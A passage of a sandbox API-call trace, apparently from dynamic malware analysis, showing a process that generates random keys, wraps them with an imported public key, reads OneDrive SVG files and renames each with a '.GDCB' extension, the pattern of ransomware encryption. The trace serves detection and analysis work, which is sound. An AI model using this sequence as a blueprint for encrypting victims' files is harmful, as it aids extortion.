Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_pictures.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_pictures.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_pictures.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_pictures.svg.gdcb")) returned 0 [0201.110] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0201.112] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.113] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.113] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.113] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0201.113] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.114] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.115] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.115] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.115] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.115] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0201.117] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508af38) returned 1 [0201.117] CryptGetKeyParam (in: hKey=0x508af38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.117] CryptEncrypt (in: hKey=0x508af38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.117] GetLastError () returned 0x0 [0201.117] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.117] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0201.119] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508af78) returned 1 [0201.119] CryptGetKeyParam (in: hKey=0x508af78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.119] CryptEncrypt (in: hKey=0x508af78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.119] GetLastError () returned 0x0 [0201.119] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.119] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\iceBucket.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\icebucket.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.121] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.122] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.123] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x172e, lpOverlapped=0x0) returned 1 [0201.134] VirtualAlloc (lpAddress=0x0, dwSize=0x1730, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.138] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\iceBucket.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\icebucket.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\iceBucket.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\icebucket.svg.gdcb")) returned 1 [0201.143] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.144] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.145] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.145] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.145] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.147] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.147] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.147] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0201.149] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508afb8) returned 1 [0201.149] CryptGetKeyParam (in: hKey=0x508afb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.150] CryptEncrypt (in: hKey=0x508afb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.150] GetLastError () returned 0x0 [0201.150] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0201.150] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0201.152] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038a90) returned 1 [0201.152] CryptGetKeyParam (in: hKey=0x5038a90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.152] CryptEncrypt (in: hKey=0x5038a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.152] GetLastError () returned 0x0 [0201.152] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.152] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.154] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.155] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.156] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x4e0, lpOverlapped=0x0) returned 1 [0201.165] VirtualAlloc (lpAddress=0x0, dwSize=0x4e0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.168] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading.svg.gdcb")) returned 1 [0201.172] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0201.174] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.175] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.175] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.175] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.175] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0201.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.177] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.177] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.177] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0201.177] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0201.179] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508b038) returned 1 [0201.179] CryptGetKeyParam (in: hKey=0x508b038, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.179] CryptEncrypt (in: hKey=0x508b038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.180] GetLastError () returned 0x0 [0201.180] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.180] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0201.181] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80a98) returned 1 [0201.181] CryptGetKeyParam (in: hKey=0x4f80a98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.181] CryptEncrypt (in: hKey=0x4f80a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.182] GetLastError () returned 0x0 [0201.182] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.182] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading_spinner.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading_spinner.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.183] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.185] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.185] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x1b0, lpOverlapped=0x0) returned 1 [0201.195] VirtualAlloc (lpAddress=0x0, dwSize=0x1b0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.226] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading_spinner.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading_spinner.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\loading_spinner.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\loading_spinner.svg.gdcb")) returned 1 [0201.230] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0201.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.232] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.232] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.232] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.232] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.234] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.234] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.234] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.234] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0201.237] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690588) returned 1 [0201.237] CryptGetKeyParam (in: hKey=0x3690588, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.237] CryptEncrypt (in: hKey=0x3690588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.237] GetLastError () returned 0x0 [0201.237] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.237] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0201.239] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5a4e18) returned 1 [0201.239] CryptGetKeyParam (in: hKey=0x5a4e18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.239] CryptEncrypt (in: hKey=0x5a4e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.239] GetLastError () returned 0x0 [0201.239] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.239] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFiles.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfiles.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.241] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.242] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.243] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x1d50, lpOverlapped=0x0) returned 1 [0201.252] VirtualAlloc (lpAddress=0x0, dwSize=0x1d50, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.256] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFiles.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfiles.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFiles.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfiles.svg.gdcb")) returned 1 [0201.260] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0201.261] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.262] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.262] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.262] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.262] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0201.263] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.264] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.264] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.264] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.264] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0201.267] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038ed0) returned 1 [0201.268] CryptGetKeyParam (in: hKey=0x5038ed0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.268] CryptEncrypt (in: hKey=0x5038ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.268] GetLastError () returned 0x0 [0201.268] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.268] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0201.270] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2890) returned 1 [0201.270] CryptGetKeyParam (in: hKey=0x50d2890, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.270] CryptEncrypt (in: hKey=0x50d2890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.270] GetLastError () returned 0x0 [0201.270] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.270] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFilesDehydrate.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfilesdehydrate.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.271] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.273] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.274] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x26c7, lpOverlapped=0x0) returned 1 [0201.292] VirtualAlloc (lpAddress=0x0, dwSize=0x26d0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.297] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFilesDehydrate.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfilesdehydrate.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFilesDehydrate.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfilesdehydrate.svg.gdcb")) returned 0 [0201.300] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0201.302] GetModuleHandleA 